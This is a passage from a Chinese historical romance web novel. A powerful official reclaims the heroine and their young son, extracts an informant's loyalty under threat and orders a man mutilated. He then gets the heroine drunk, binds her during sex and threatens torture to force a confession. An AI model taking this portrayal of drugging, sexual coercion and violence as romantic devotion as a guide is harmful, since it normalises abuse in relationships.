便又见儿子扭过他那略有些胖乎乎的小身板儿,一副老诚口吻,对朱幼宜郑重的道:“娘, 他长的还行,但是有点儿老,娘亲还是和爹最般配, 难道娘不要爹了吗?” 傅珩凝视着那张轮廓已有五分酷似孟清辞的小脸儿, 听着这番正儿八经的“高论”, 原本因初见儿子而汹涌难抑的心潮, 徒然退却, 险些气笑了。他傅珩英明一世,被妻子嫌弃也就罢了,如今竟还被亲儿子嫌弃年纪大。 儿子与自己素未谋面, 不知道原委,不肯唤一声“爹”,傅珩尚能理解。不过,他待旁人便没有这么好性儿了。 傅珩掀起衣摆坐在主位上,眸色阴鸷的审视朱幼宜,唇角勾起一抹冷峭的弧度:“你倒是胆子大,沉得住气。” 朱幼宜纵然见过些世面,终究也是商贾出身,在傅珩那久居上位、生杀予夺的威压之下,只觉得脊背发寒。她慌忙垂首跪地,声音带着不易察觉的轻颤:“民女有罪,还望大人开恩。”即便有准备,面对生死,她也是怕的。 岑亦初平日里见客都有孟清辞和朱幼宜跟着,甭管是谁,见了他都是和颜悦色,所以他刚才才敢口无遮拦,想说什么便说什么。 他还从没见过一向沉稳的娘亲跪过谁,虽听不懂他们言语间的机锋,却敏锐地察觉到娘亲很害怕这个男人,他毕竟也才两岁,有些慌神的拉住朱幼宜的衣袖,扭过头,怯生生地望向傅珩。 朱幼宜感受到儿子的不安,轻轻拍了拍他的小手,强挤出一丝安抚的笑意,柔声道:“去罢,到你父亲身边去。” 朱幼宜这两年里,甭管去见谁,几乎都将岑亦初带在身侧,逢人便要大肆夸耀自己儿子漂亮聪慧。 因此岑亦初年纪不大,在外却既不认生,也不怯场,他很有眼色的走到傅珩面前,好奇的打量他,他忽然发现,这个人的眼睛,嗯,好像和自己有点像? 岑亦初自从懂事后便很苦恼困惑,为什么全家只有他长了一双细长的丹凤眼,自己和爹娘的眼睛一点都不像,更确切的说,他似乎是像爹爹多些,却没什么地方像娘亲。 傅珩初次见儿子,不想吓到他,收敛了脾性,冷哼一声:“你倒是乖觉,这里没你的事了,你退下罢。” 朱幼宜讷讷应声,还不忘哄岑亦初:“你陪你爹说会儿话,晚点晚点便能见到你娘了。”她怕自己不忍心,说完便利索的起身而去,不敢看儿子神色,也不知这是不是她和儿子的最后一面。 岑亦初看着娘亲几乎落荒而去的背影,并没有闹着要跟去,小家伙儿有自己的小心思,爹不在身边,他便是家里的顶梁柱,要保护娘。 小家伙儿平日没少跟着朱幼宜出门,自认很能甄别大小王。见自己娘亲这么怕眼前的老男人,便也知道,眼前这大叔应该比自家爹娘身份高。不过待自己还不错的模样,否则不能一见面就想当自己便宜爹。 岑亦初不大的脑袋瓜,不大会儿功夫转了好几转,他也不怕生,毕竟娘亲说过,没人会不喜欢他这么萌的娃。 他手脚并用的往傅珩膝上爬去,傅珩顺势托了儿子一把,岑亦初便能坐在傅珩的膝上,与他平视了。 别说,你真别说,这感觉,岑亦初还真能从老男人身上觉出几分和他爹一样的亲切感来。 小家伙儿好奇的小手不自觉的去摸傅珩略有青胡茬的下颌,心想这和亲爹好像不那么一样,他爹可从来没有这玩意。 儿子的小手软嫩滑腻,摸着傅珩的下颌,有种很新奇的感觉,叫傅珩心里软的一塌糊涂。 墨简说探子来回,传言朱幼宜在庄子上生孩子的时候,曾大出血,傅珩心里又是一紧,他知道,大出血的是清辞,不禁眼眶也有些酸胀,这孩子总归是他算计来的,不想却是如此可人疼。 他从前不渴望子嗣,毕竟他的孩子,也会延续他肮脏卑劣的血脉,可眼前的儿子,是这样真实的存在,只是看一眼,也知道他和傅家人的不同,清辞将他养的很好。 岑亦初摸完傅珩的下颌又摸自己下颌,而后小心翼翼的试探着去摸傅珩的喉结,另一只手还在印证一般去摸自己的喉咙处,大眼对小眼了会儿,小家伙又问:“你真是我亲爹?”他想了想,毕竟从前,又人想认他做干儿子,爹娘从没同意过,更遑论这种另外认亲爹这种事情,觉得娘亲不可能拿这个开玩笑。 傅珩情难自抑的颔首,只觉得怀里的儿子一整个都软乎乎的,叫他爱不释手,根本抱不够。 “那我怎么有两个爹?”岑亦初晶莹剔透的黑眼珠染上了迷蒙:“我爹给我讲过,每个小孩儿只能有一个爹,一个娘。” 傅珩疼爱的摸了摸小家伙的脑袋,及有耐心的温声道:“我才是你亲生父亲,你爹是女扮男装,实则是你亲娘,你如今的娘并不是你生母。” 岑亦初好像听懂了,点了点小脑袋瓜,又好像没懂,左看看‘亲爹’,又看看‘亲爹’,学着老学究的模样抚摸下颌,他却不知道那是要摸胡子的,又问:“那我也是男扮女装的吗?你看,我和我爹一样没胡子,但是你有啊。” 傅珩脸色一瞬间不好了,他颠了颠儿子胖乎乎的小身板儿,搂紧了几分,抿了抿唇:“你是男孩子,长大了,自然就和爹一样了。”他知道,这么小的孩子,一直当亲娘是爹,忽然面对这事儿,自然会迷惑,却还是莫名觉得揪心。 岑亦初正是好奇的年纪,他好像有十万个为什么,又有上门的亲爹,感受到大人是在哄自己,他也不客气:“那以后,是我们一家四口在一起吗?” 傅珩略有阴霾的思绪闻言被驱散了几分,只觉得儿子此时狡黠的模样像极了清辞,没求他,却是求了,没认他,却是认了。 很难相信两岁的孩子,能有这样的心机城府。并没有立时回答儿子,而是不动声色的问:“你很喜欢原来的娘亲?” “那当然啦,娘亲最疼我了。”岑亦初挺了挺小胸脯,毫不吝啬的道:“我想要什么,娘亲从来不拒绝我的,娘亲还总是带我出去玩儿,给我买好多” 傅珩一眼识破了儿子的小心机,却又想:清辞小时候,是不是也如此可人疼。 最后,岑亦初自己也说累了,口干舌燥,才觉得没什么遗漏,最后问道:“爹,你也会这么疼我吗?”小家伙儿想:娘亲都怕的人,应当不会太差劲儿,认个便宜爹不吃亏,至于自己爹是不是亲娘,只看亲爹以后戴不戴珠钗,穿不穿裙子噶。 傅珩没想与两岁的亲儿子相认,小家伙不哭也不闹,还奶声奶气的和自己说了这许多,倒让他有些意外,反生出几分难得的兴致,陪着那稚嫩的语调说了好一会儿话。索性又循循哄着问了小家伙有没有读书,又是谁在教他。 说起这个,岑亦初小脑袋不禁得意的摇晃,从怀里宝贝的拿出一本书册,和傅珩炫耀道:“我当然有读书,爹娘说我最聪明了,都是爹亲自教我的。” 激动之下,小家伙也仍旧没有改口,傅珩听懂了,没有特意纠正,拿过特质的书册翻了翻,眸光晦涩难测,顾及怀里的儿子,他并没有挂脸。 若无其事的将本子还给儿子,夸道:“你竟学了这么许多,可见是个绝顶聪明的,这里面很多为父都没见过,都是你娘在教你吗?” “那当然了,我娘可厉害了”岑亦初得意忘形的说到一半,忽然瞪大眼睛,用小手捂住自己的嘴巴。 “怎么了?你娘确实是个很厉害的女子,我很喜欢她。”傅珩装作毫无所觉的含笑问他。 傅珩看的很清楚,那书册是用番邦笔书写,形制和清辞从前用炭条的时候有几分相似,只那字迹,呵~~竟然与他那好师弟顾淮序有三分相似。 傅珩从来不知道,顾淮序还会给孩子绘启蒙书,尤其是,书中所录,除《九章》之外,其余内容他一概不知,那么在安义侯府为婢十年的清辞,她又怎会通晓这些? 这书册所录,虽为深入浅出为启蒙所用,其中奥义却渊博精深,绝非一朝一夕能够熟识。顾淮序和清辞,他们两人之间,果然有他不知道的秘密。 那么,他们二人,一个从未去过闽州,一个入京不过两年,又是怎么有如此交集,又有如此相同之处?意识到这一点,傅珩有一瞬的心慌,直觉这其中又什么他不知道的关窍,并不会是什么好事。 岑亦初到底不过两岁,正是喜欢与人表达,喜欢显摆的年纪,傅珩如此好说话,他一时被捧的得意忘形,忘了孟清辞的嘱咐,不能和人提及自己学了什么。 当下自知失言,心虚的很,并没发现傅珩神色异常,拉着傅珩的袖子:“亲爹,你能别告诉我娘吗?她不让我与人说,我都学了什么。” 傅珩听儿子唤他‘亲爹’,心里别提多畅快,他实在爱极了儿子的机灵劲儿,小家伙儿这‘审时度势’又嘴甜会哄人的模样,简直像极了孟清辞。 “好,这是我们父子二人的秘密。”傅珩痛快应下,忍俊不禁在儿子脸颊上亲了一下,若是换做从前,他是万万想不到自己也会有溺爱孩子的一日。 岑亦初得了保证咯咯笑了两声,央求道:“亲爹,我想去见娘亲。”他想:两个娘,总能让他见一个罢。 傅珩暗道:到底是才两岁的孩子,总要跟着熟悉的人才会踏实,他们父子来日方长。 又见儿子有些困乏,傅珩轻手轻脚将小家伙儿送到孟清辞榻上,再为母子俩掩好幔帐。 从卧房出来,傅珩又将朱幼宜提来书房,他居高临下的看着跪在地上的女子,良久未发一言。 朱幼宜额头抵地,并不为自己求情:“回禀大人,夫人这两年并不容易,生小公子的时候见了红,险些没了性命,还望大人勿要怪罪于她。” 傅珩掀起细长的眼,如看死人一般,嗓音凛冽冰寒:“你若真关心她,岂会不知她被‘种香’离不得本官,你按得是什么居心?” 朱幼宜知他审问自己,并不隐瞒:“岑家血脉能识得‘种香’,我母亲留给我一本残卷,上面说只要被‘种香’的女子,与给她‘种香’的男子产一子,便可解,只我见夫人两次‘种香’,产子后虽解了,却也不会再对旁的男子动情,除此之外并没什么大碍。” 朱幼宜急忙叩首,言辞恳切:“若大人心中怒气未平,纵是要了幼宜性命也无妨!只求您念在夫人拼死诞下小公子,千般不易,万望莫要为难于她。”男子薄幸她见得多了,清辞又是如此忤逆于他,朱幼宜实在忧惧难安。 傅珩将她呈上来的残卷翻了翻,确实如她所说,他随手将那残本掷在桌案上,食指扣在桌案上。 一时寂静的书房内,只闻轻敲声,令等待审判的朱幼宜几乎压抑到窒息。虽说她已知自己的下场并不会好,可这过程却又是另一种催心的折磨,无奈她是展板鱼肉,只能熬着。 良久傅珩才道:“念你待她还算衷心的份儿上,便饶过你这次,不过死罪免了,活罪难逃。” 朱幼宜倍感诧异,甚至忘了害怕,她抬头去觑傅珩的神色,见他脸色虽冷硬摄人,却不似作假,赶忙叩首:“谢大人开恩,民女甘愿令罚。” 傅珩唇角微扬:“日后,她与你说了何话?要你做何事?你都要一一禀告本官。” 朱幼宜俯身伏跪在地上,脊背僵直,久久不言,心绪大起大落。她早知道此事若是事发,她必死无疑,可巡抚大人又给了她生的期望,能不死,谁又想去死? 若是傅珩一开始便说让朱幼宜背叛孟清辞,朱幼宜是绝迹不会的,可如今,她面对好容易得来的生机,她忧郁了。 傅珩观她神色,便知她动摇了,一个没吃过苦头的商贾之女,能有多硬的脾性,他近乎残忍道:“她让你活,便料到躲不过我的盘问,她与我夫妻一体,她都不介意,你倒是不必矫情。” 朱幼宜闭了闭眼,满眼都是孟清辞那双清凌凌的眼眸,她很清楚孟清辞是个忠贞之人,可为了让她活,她宁愿自己背叛她。即便知道是孟清辞默许,她日后也要经受良心的煎熬,一旦她答应了巡抚大人,她与孟清辞之间从此划下了一道沟壑,她们之间的关系,再难回到从前。 可她拒绝不了这个诱惑,不仅是不想死,更是为了能再见她,只是这活罪真于她来说,真是无休止的杀人诛心。 良久,朱幼宜软了那股心气儿,讷讷应声:“谢大人不杀之恩。” 傅珩无声冷笑,他用春秋笔法略施小计,左右,此女不会有掩面与清辞对峙,至于清辞嘛,她这么聪明,经此一事,用朱家女,却不会再待她如从前。 傅珩这才问道:“说说,这两年她过得如何?又与何人走的近?” 说得容易做起来难,朱幼宜闻此言,心如刀绞,却知道她若是说了假话,只怕真没有命可活,不得已娓娓道来,一旦开了个头,后面似乎也不那么难了。 待朱幼宜都吐干净了,傅珩才打发她下去。 朱幼宜出来,被海风一吹,才发觉自己鬓发和后背都已经汗湿了,冷风搜搜的钻进她的衣裙里,她打了个哆嗦,她神色木然,心有余悸的回自己房间。 朱幼宜并不愚蠢,相反她敏锐的捕捉到,巡抚大人不止一次引她说起顾大人与清辞的关系。朱幼宜关好房门,背靠在门上,双臂环抱自己。她很庆幸,她虽有些猜测,却真的什么都不知道,庆幸清辞从没把顾大人带到自己面前过。至于清辞在外面的事情,她从不过问,所以她真的什么都不知道。 只朱幼宜不知道,她一个闺阁女子的伎俩,在傅珩面前,连雕虫小技也算不得,傅珩刑讯过多少人,只怕他自己也不记得。只是他不想逼得朱幼宜狗急跳墙,告到清辞面前,坏了两人才修复好的感情。只观朱幼宜神色,确认清辞与顾淮序关系匪浅,便罢了。 打从傅珩在安义侯府初遇孟清辞,便知她身边的男子如过江之鲤,只他知道,她从没将这些男子看在眼里,连他,她都是看不上的。 若说乐安大长公主府里,孟清辞却也没看上顾淮序,只如今的顾淮序,傅珩敏锐的觉察出,清辞待如今的顾淮序绝非表面的简单。 傅珩冷着连往刑房去,墨简在身后亦步亦趋,心中暗凛:不知那朱家女子说了什么,让本来还心情不错的主子转眼间杀气凛然,这架势,今日刑房里怕是要见血了。 刑房里,薛天禄一进来看见满墙的刑拘,吓得魂不附体,他一个养尊处优的公子哥儿,又不是什么硬气之人,已是吓得溺过一次,此刻刑房里充斥着一股令人作呕的污秽味儿。 “管不好就别要了,膻了他。”傅珩进来后扫了他两股之间一眼,冷淡道:“把他这两只眼睛挖出来,放船将他送回去。” 傅珩并未亲自动手,也为靠近一步,只又冷漠的吩咐:“耳朵刺聋。” 来广州府的路上,傅珩几乎把孟清辞这两年的事情捋了一遍,知道薛天禄不止一次给清辞使绊子,甚至口不择言,他只觉得这人看一眼清辞都脏。 若不是怕清辞知道他手段狠辣,因为一点小事便要人性命,他也不必如此麻烦,早就一刀刮了薛天禄了事。 薛天禄还不清楚自己犯了什么天条,明明是一屋子人都在看‘金韫年’舞剑,为何只抓他,可他吓得顾不得想那么多,吓得哆哆嗦嗦,哭喊求饶道:“大人饶命,大人饶命,薛家可以来赎我,求大人开恩,我再也不敢看了” 有属下怕惹主子不快,赶忙给薛天禄堵了嘴巴。 傅珩懒怠再看薛天禄一眼,边往外走,边吩咐墨简:“让薛家人以后聪明些。”走了两步止住步伐,斜眼睨墨简:“以后这种事情,不必让夫人知晓。” 墨简抖了个机灵,忙应下,想着回去要好生安排一番,必然不能让外人编排此事是主子干的,可怜他一个侍卫还得会编故事。 孟清辞是被扰醒的,也不知自己是睡了多久,浑身酸疼,想到之前傅珩和她干的混账事,立时清醒了几分。她睁开眼,便见儿子正往自己怀里钻,她顺势将小家伙儿搂在怀里。 岑亦初似乎生来便是报恩的,孟清辞怀着他的时候,他便从来没折腾过半分,此刻感知到母亲醒来,他也睁开了迷蒙的双眼,小手揉了揉眼睛,然后好奇地、轻轻地去抓孟清辞披散在肩头的长发。 孟清辞觉得好笑,问他:“怎么了?” 岑亦初笑脸埋在她胸|前|柔软,蹭了蹭,闷着声问:“娘,我是男童、女童啊?”他到底是信不过才初见是傅珩,抱着孟清辞撒娇:“您是我娘吗?为什么给我做爹啊?那人是我亲爹吗?” “他确实是你亲爹。”孟清辞自觉自己亏欠这孩子良多,怜爱的摸着他的小脑袋,小家伙黑黝黝的茸发格外柔软,她谦声道:“是娘不好,让你难受了,你自然是娘的儿子。” 岑亦初埋在娘亲怀里,闻着那熟悉的,安心的香味儿,拱了拱脑袋,无限忧伤的闷声哀叹:“娘,你不跟他,是嫌他老吗?娘,您不容易。” 孟清辞:她还是第一次知道儿子的脑回路如此清奇,不知道自己哪里教错了。 一想到傅珩知道儿子嫌弃他年纪大,会是个什么脸色,又实在忍不住觉得好笑,嘱咐道:“私下和我说便罢了,可不能当他的面说,伤人不伤脸面,教过你的,记得吗?” 岑亦初:不说好孩子要诚实,君子坦荡荡嘛?哎,娘亲的嘱咐有点晚啊!小脑袋想了下,想说知道了,终究改口说了句:“他好像也没有很在意。” 孟清辞起初并未听清,待反应过来儿子的话中之意,她先是一怔,随即再忍不住,将儿子揽入怀中,笑倒在了床榻上。 岑亦初到底心智有限,不能理解娘亲为何会笑的这样开怀,他对‘新’父亲好奇的厉害,抬起脑袋问:“娘,我爹是什么很厉害的人?有这么大的宝船?” “你爹确实是厉害的人,比你从前见过的人身份都高,他是你父亲,你可以亲自去问他。”孟清辞看着小家伙眼睛里的星星,不免叹气。 人是脱离不了生活环境的,儿子生在这里,到底是受到这里的风气影响,这么小便已经知道了高低贵贱。又觉得从前自己掮客的身份,确实委屈了儿子。 孟清辞很清楚,如今天下动乱,群雄争霸,傅珩的胜算最大。 她不会天真的为了摆脱傅珩去搅合天下局势,她在安义侯府,与虎谋皮十年,太清楚权贵吃人不吐骨头那一套。 她与傅珩又有一个儿子,去往别处,只会被群雄作为拿捏傅珩的软肋,所以从一开始,她便没有选择别处,而是选了灯下黑,且距离能出走最近的沿海。 如今,她被傅珩找到,傅珩愿意退一步,孟清辞不会愚蠢到再逃一次,玩你追我逃的游戏。 毕竟,很快这天下都要是傅珩的,再逃,不过是从家里的一个后院儿去到另外一个后院儿,毫无意义。 自己既然注定要与傅珩纠缠不清,她便要为儿子打算,更为自己打算,毕竟她儿子日后,是真的有皇位要继承了,很不巧她男人可以合法娶好几个老婆。 昭德朝尚且不过三代,据孟清辞所知,前朝最久亦不过一二百年,她还不想儿子日后是断子绝孙的下场—— 作者有话说:孟清辞:没想到我还有事业线 傅珩:小子起开,你娘那只能我来 作者:感谢大家支持,话不多说,看文【`xs.c`o`m 网】 60-63 第61章 第 61 章 权利野心 傅珩本就整军待发, 宝船行至闽州,仅逗留半日,便随大军开拔, 直奔京畿而去。 孟清辞自登上宝船, 被傅珩折腾的不轻,孟清辞都以为这老男人是属狗的, 不知道累。因腻烦傅珩歪缠不休,本欲留在闽州, 不愿随军前行,怎奈待她休憩醒来,已过了两日, 宝船早就开出多远去。 孟清辞自然不给傅珩好脸色,阴阳道:“你去打仗,生死一线, 也不肯放过我们娘俩?怎么?若是让人逼迫于阵前,是不是还要先让我和儿子先自刎?” “又在胡说什么?”傅珩让她气得没脾气,却神色坚决:“放心, 此战必胜,此一去,便不再回来了。” 孟清辞闻言, 唇角牵起一抹浅笑:“你这么有把握?” 傅珩意有所指道:“还要托夫人的福, 将师弟这等人才送到为夫身边。” 孟清辞听罢, 面上不见半分心虚, 只轻声道:“既然是栋梁之材, 你便该好好待他,莫要寒了人家的心。” 傅珩轻描淡写的哂笑一声:“功名利禄,他要什么, 我给什么。只怕他看不上这些,一心想要的,是我给不起的。” 孟清辞觉傅珩话里有话,抬眸觑他神色,却不见半分异常,又觉是自己多心了,颔首应道:“或许罢。”毕竟,顾聿琛一心沉迷他的研究,留在这里,他确实少了许多乐趣,她也不喜欢这里,只是两个人再也回不去了。 此时孟清辞还不知,傅珩已将她在岑家的所有物件,亲自仔细过一遍眼, 就连她藏在书房暗格里的东西,也让傅珩找了出来。 那暗格里藏着一个不大的匣子,里面放着一张临摹的海图,几乎和他书房游记里夹着的那一张一模一样,只细节处令做了注解,看墨痕,应是先画后补。没什么画作技法,只勾勒走线一看便是熟练的很。 令有一叠工艺方子,其上许多奇怪符号,他一个也辨认不得。唯有一张纸上,赫然写着‘提炼精铁制钢,纯度可达’,让他猜出了七八分,将这张单独拿出来誊写一份留下。 傅珩一边誊录,薄唇微微抿起,唇角下压,这一叠方子皆有一个共同之处,其上字迹笔锋,竟与顾淮序如今的笔锋,如出一辙。 只一张炼铁的方子,便能改变天下格局,连他也要动心三份,可想而知,其他方子又是何等紧要,如此一叠,竟然是轻飘飘的都送了他夫人,要说两人之间没点什么,谁会信? 傅珩胸中再是酸意翻涌,却到底存着几分清醒,他心知此时若去找孟清辞兴师问罪,非但问不出什么,反会因私自翻看她的私物,讨不得什么好处,说不定还要被她倒打一耙。眼下正是用顾淮序之际,他纵有千般疑虑,也只好强自按捺下来。 不过傅珩哪里会甘心做不知,他如今能容忍孟清辞不喜自己,却万万忍不得她心中有别人,终究旁敲侧击试探道:“夫人似乎对我这师弟很上心?” 孟清辞想,日后她与顾淮序总不好做陌生人,若是过从甚密,总要有个过度,坦言道:“他在市舶司的时候,帮我良多,你既然找到了我,应是都清楚。” 傅珩细长的眼眸里划过幽暗锋芒,一闪而逝:“只是如此吗?” “不然呢?”孟清辞清凌凌的眼眸直视他:“都要像你一样,做个不折不扣的伪君子吗?” “为夫也只在你面前失了分寸,夫人念在我一片痴心便不要再恨我了。”傅珩见她冷了俏脸,自己也心虚,赔笑着,并不敢再深究,揽过她的纤弱肩膀在怀里,令起了话头儿道:“我这两年查到,你实则是孟王爷早年走失的幼女,你仍记不得小时候的事吗?” 孟清辞只当傅珩疑心病又犯了,见傅珩识时务的歇了乱七八糟的心思,便没再与他难看,也不瞒着他:“生亦初的时候,大出血后,幼时的事,我便都想起来了。” 傅珩听她说起难产之事,将他嵌入怀里,一想到她难缠差点香消玉殒,心如刀绞,悔不当初,只觉得想用孩子拴住她是个荤招,口中兀自喃喃道:“都是我的错,你该恨我的。” 孟清辞冷笑一声,锤了他胸口一下:“少要假惺惺,自私便是自私,遮掩什么?你也不是第一次了。” 傅珩当初为留住她,不惜断了她的后路,也亲手扼杀了她对他刚刚萌生的那点好感。后来他又不知足,贪念她全心全意的爱恋之情,不顾她的意愿给她种香,若想解开必然是要孕育他的子嗣,最终目的,无非是想将她彻底拴在身边,在孟清辞看来,傅珩不过是本性难移,狗改不了吃屎,只知道掠夺图自己舒坦。 傅珩难得地羞愧起来,耳根泛红,紧握住她的手赌咒发誓:“只此一次!日后我若再犯,教我不得好死,下辈子……下辈子也无缘再见你。” 孟清辞唇角轻扬,明澈的眼眸迎上他深沉的视线:“这话可是你自己说的。你现在就写下来,去三清真人面前焚了,请仙人做个见证,好好给你长个记性,免得日后不认。” 傅珩哪里肯依,心中郁闷至极,只得低声告饶:“为夫的命都攥在夫人手里,求夫人饶我这一回。我绝不再犯,这等俗事,就别扰了仙人清净了。” 孟清辞也不相逼,只微微撇嘴,语带讥讽:“你也知你做的事情脏,难以启齿?罢了,免得污了仙人的耳目。” 傅珩见她没有揪着不放,暗自松了口气,忙将话锋一转:“夫人既已忆起前事,为何不归家去?据为夫所知,这些年来王府从未放弃寻找你的下落。当年你失踪后,王府还曾向各方递过消息,言明若有谁能寻得夫人,孟王府必当重谢。” “回去?再让他们‘弄丢’一次么?下一回,恐怕就不是被卖这么简单,只怕连性命都要无故‘丢’了!”孟清辞眼风斜斜一掠,讥诮道:“你查了不到两年便水落石出的事,你猜为何他堂堂孟王府,查了十多年仍毫无头绪?何况即便当年我丢失了,在蜀地他孟王爷是土皇帝,他若真有心要找,便是掘地三尺,还不容易?可他竟是十多年寻不到,你猜是为何?” 傅珩听了孟清辞此言,不禁眉峰微敛,疑惑不解道:“可我听闻,你幼时孟王爷极为疼爱你,时常将你带在身边亲自教导。既是如此……何至于此?” “他确实疼我。”孟清辞颔首:“可他更视妻如命,是个难得一见的情种,你大概不知,孟王妃是个不折不扣的扶弟魔。” 傅珩挑眉:“何为扶弟魔?你舅舅不是人?” “那倒不至于。”孟清辞见他郑重模样,忽觉有趣,眼波流转间带着几分讥诮:“所谓‘扶弟魔’,是女子甘愿为自己兄弟倾尽所有,即便被啃骨吸髓也心甘情愿。牺牲一个女儿,自然更不在话下。” 当年孟清辞失踪之后,她身边伺候的一应嬷嬷、丫鬟尽数遭了殃。有的直接杖毙,有的则是被拖去矿上服苦役,不过数年间,几乎无一幸存。傅珩也是几经周折,才寻到一位当年侥幸逃生、后隐姓埋名的婢女。 据那婢女所言,当日她跟着小主子出门伺候,小主子丢失的时候,他们都被吩咐了差事调开,后小主子丢失,孟王爷怒极之下,下令当日跟着出去一干仆婢都要杖毙,那婢女被杖刑后拖去乱葬岗,后被人发现她还有一口气,这才被救下来的。 傅珩辗转找到那婢女,一再盘问,才确认了孟清辞的身份。也才得知,当年孟清辞正是与沈云夕一同外出时出的事。更引人疑窦的是,此事后,沈云夕身边那日随行的所有仆婢,不是莫名“暴毙”,便是被远远发卖,再无踪迹可寻。 傅珩直觉此事蹊跷,又费了好些功夫,寻到一两名当年曾随沈云夕外出的仆婢,严加审问。 这才得知,当年是沈云夕故意将孟清辞的仆婢支开,趁她不备从后袭击,随后将她弃于荒僻深巷之中。 傅珩曾让老宅管事找出那年买卖孟清辞的人牙子,一路顺藤摸瓜查至蜀地。那蜀地人贩子供述,当初见那女娃脑后带伤、神志不清,被一胖妇人抱来发卖。他本觉这孩子伤势沉重,恐难活命,却又贪她相貌水灵,想要以小搏大,终究以低价买下,因而记得分外清楚。 孟清辞听傅珩所述与真相相差无几,唇角泛起一抹似笑非笑的嘲讽弧度,嗓音却平静无波:“我直到被卖入安义侯府,身上除了身份信物不在,身上仍穿着离家时的衣裳,你说,为何孟王府倾力搜寻十余年,却始终寻不到我踪迹?” 傅珩不自觉握紧了掌心,一瞬间怒火中烧,他比她更清楚世家对地方势力的掌控,尤其是孟王爷掌管整个蜀地,是蜀地之王,在蜀地,怕是有人不知道皇帝,也不会不识得孟王爷。 她当年的穿着富贵非常,却能从蜀地一路畅通无阻的被卖到闽州,便是有人不想她被找到,这个人是谁?能抗衡孟王爷? 难以想象,当年她所遭受的,她本是集万千宠爱于一身的王府郡主,却让至亲加害背叛,她若是没失忆,那样小的年纪,怕是也要伤心绝望。 孟清辞眸光清冷,接着说道:“我猜,这背后定少不了我那好母亲,孟王妃的手笔。毕竟我身边的仆婢皆是她一手安排的人,她想查明真相易如反掌。可她怕孟王爷知晓后问责沈家,不愿让娘家失了体面,便将此事生生压了下来。而沈家见她如此如此不作为,自然更加肆无忌惮。毕竟只要除去我这个真郡主,他们便可顺势将沈云夕送进孟王府,李代桃僵,顶替我的位置。” “荒唐,简直是荒唐。”傅珩声音低沉,怒意难抑,庶子取代嫡子之事常有之,可如此明目张胆以表亲取代嫡女,实属滑稽之谈。 孟清辞冷笑道:“荒唐与否暂且不论,沈家此计是否成功?孟王妃这些年不仅将她养在身边,对外抬举她,谁人不知道孟王妃思女成疾,多亏有她这个侄女在跟前尽孝,才能宽解一二,又说她聪敏多才,极似亲生女儿。孟王爷为了妻子的‘心病’,只能顺着妻子,这才让沈云夕彻底取代了我这个亲女儿的位置,孟王府甚至曾动过心思,要将她许配于你,以结秦晋之好,你不是最清楚不过了。” 傅珩虽早已猜到几分内情,可此刻听孟清辞亲口道出,仍不免心生唏嘘。世人都道孟王爷是只老谋深算的狐狸,谁曾想他竟会因妻子糊涂至此? 若是一开始孟王爷被蒙在鼓里,那十来年也早能想明白了,又想:难怪他去信说清此事始末,孟王爷却装聋作哑。虎毒尚不食子,这夫妻二人一个昏聩护短,一个冷情纵容,实在令人无从置评。 他心中那位极是疼爱幼女的岳丈形象,此刻已悄然碎裂,再难拼凑完全。 傅珩知孟清辞虽然不心胸狭隘,却绝非以德报怨之人,这么好的献殷勤的良机,他又岂能错失,遂问道:“她们这般待你,在我眼中已是死不足惜。夫人想要如何处置?为夫为你做主。” 孟清辞也不是第一天识得他,岂不知他打的主意,叹一声:“暂且以大局为重,先不必管他们。” 孟清辞哪知傅珩嘴上说着疼她,夜里却是不做人,先是说怕她因从前之事伤心,拿来一壶甜酒,半哄半骗灌了整壶,不想那甜腻腻的甜酒,喝着没什么酒味儿,后劲儿却是烈的很。 孟清辞晕乎乎的连眼皮也抬不起来,只知道在傅珩怀里,昏沉沉的脑子天旋地转,不知今夕是何夕,整个人正如飘在茫茫海上的一叶扁舟,任由海浪拍打冲击。 待她回过神来,才发觉一双手腕,不知何时让傅珩这狗东用腰带绑在雕花床柱上,姿势羞耻的跪着,入目都是碧莎帐上的暗色图纹。 孟清辞已是醉的厉害,脑子昏沉,眼前烛光透过碧绿纱帐摇曳,她头疼的厉害,只想好生睡上一会儿。 怎奈,傅珩这狗东西还不放过她,她就知道,白日里他便又起了疑心,定然不会轻易罢休。果然,他总要想方设法,从她这里找回来。 孟清辞咬牙切齿,终究是厌烦傅珩贪得无厌,想要怼他几句,听傅珩暗哑嗓音:“清辞,你知道你也喜欢我的,是原谅我了吗?我已知错了,别再离开我。” 他似在求,又似乎是在哀诉,实是无法与他素日冷眉冷眼的模样相重叠,孟清辞想要扭头看上一眼,傅珩却是如何也不肯。 自从被傅珩找回,于床榻之间,傅珩总要说几句类似的话,孟清辞已是听得麻木了,不想他疑神疑鬼找借口更疯癫,想要敷衍他快些了事。 便觉被攥着心尖,原本还昏沉的脑子似有什么炸开,只一瞬即逝,叫她心里空的厉害,却抓不住一丝一毫,此时她倒是想真当一回撞钟。 正待胡思乱想之际,只听耳畔想起傅珩略有不稳的呼吸,和虚虚实实的嗓音:“清辞,你心里是不是早就有人?那是谁?” 孟清辞软了腰肢,有一瞬的僵硬和抗拒,傅珩细长眼眸深了深,眼珠漆黑如深渊,他薄唇紧抿。 美背光滑如绸,滑腻如脂滑腻,让傅珩恨不得溺在她的温柔乡里,只一想到她心里还有别人,他便赤红了双目,想要杀人。 傅珩屏息收敛阴鸷暴戾的心绪,也不说话,只是如法炮制一次,孟清辞犹如从云端跌入泥藻,已是难耐至极。 傅珩却仍旧不急不缓,视若无睹,待如此三番五次后,见孟清辞哭着求饶,才又问道:“那人是谁?” 孟清辞的双手死死的扣着雕花的床柱,咬着下唇,也是来了火气:“知道你还问?” 孟清辞气的心口急剧喘|息,暗想:爱吃醋,吃死他算了,狗男人果然改不了吃屎,手段下作。 傅珩极速喘|息着,保持一丝清明,免得失了力道,伤了她,却是嫉妒的几乎发狂:“你们到底是谁?他绝对不是顾淮序!” 孟清辞恨他羞辱人,挣脱不开,屈辱吼道:“傅珩,你早晚死在多疑上,你去死,去死。” “有你,我还舍不得死。”傅珩轻柔扶她后颈,待到两人情浓,才低笑一声:“清辞,你不说也没什么,你猜酷刑之下,我那好师弟能扛过几个?” 孟清辞打了一个机灵,几乎是一瞬间便吓得流出泪来,她虽然不再爱顾聿琛,对他的兄妹情却不曾减半分,否则不会轻易原谅他。她知道傅珩不是玩笑话,打了个哭嗝,浑身冰凉一片,终究软了娇躯。 “我骗你的,我骗你的,你别伤害他,他是他是我哥哥。”孟清辞闭了闭眼,她知道比狠,她不是傅珩的对手,若是傅珩气不过,在她不知道的时候对顾聿琛做了什么,到时候悔之晚矣。 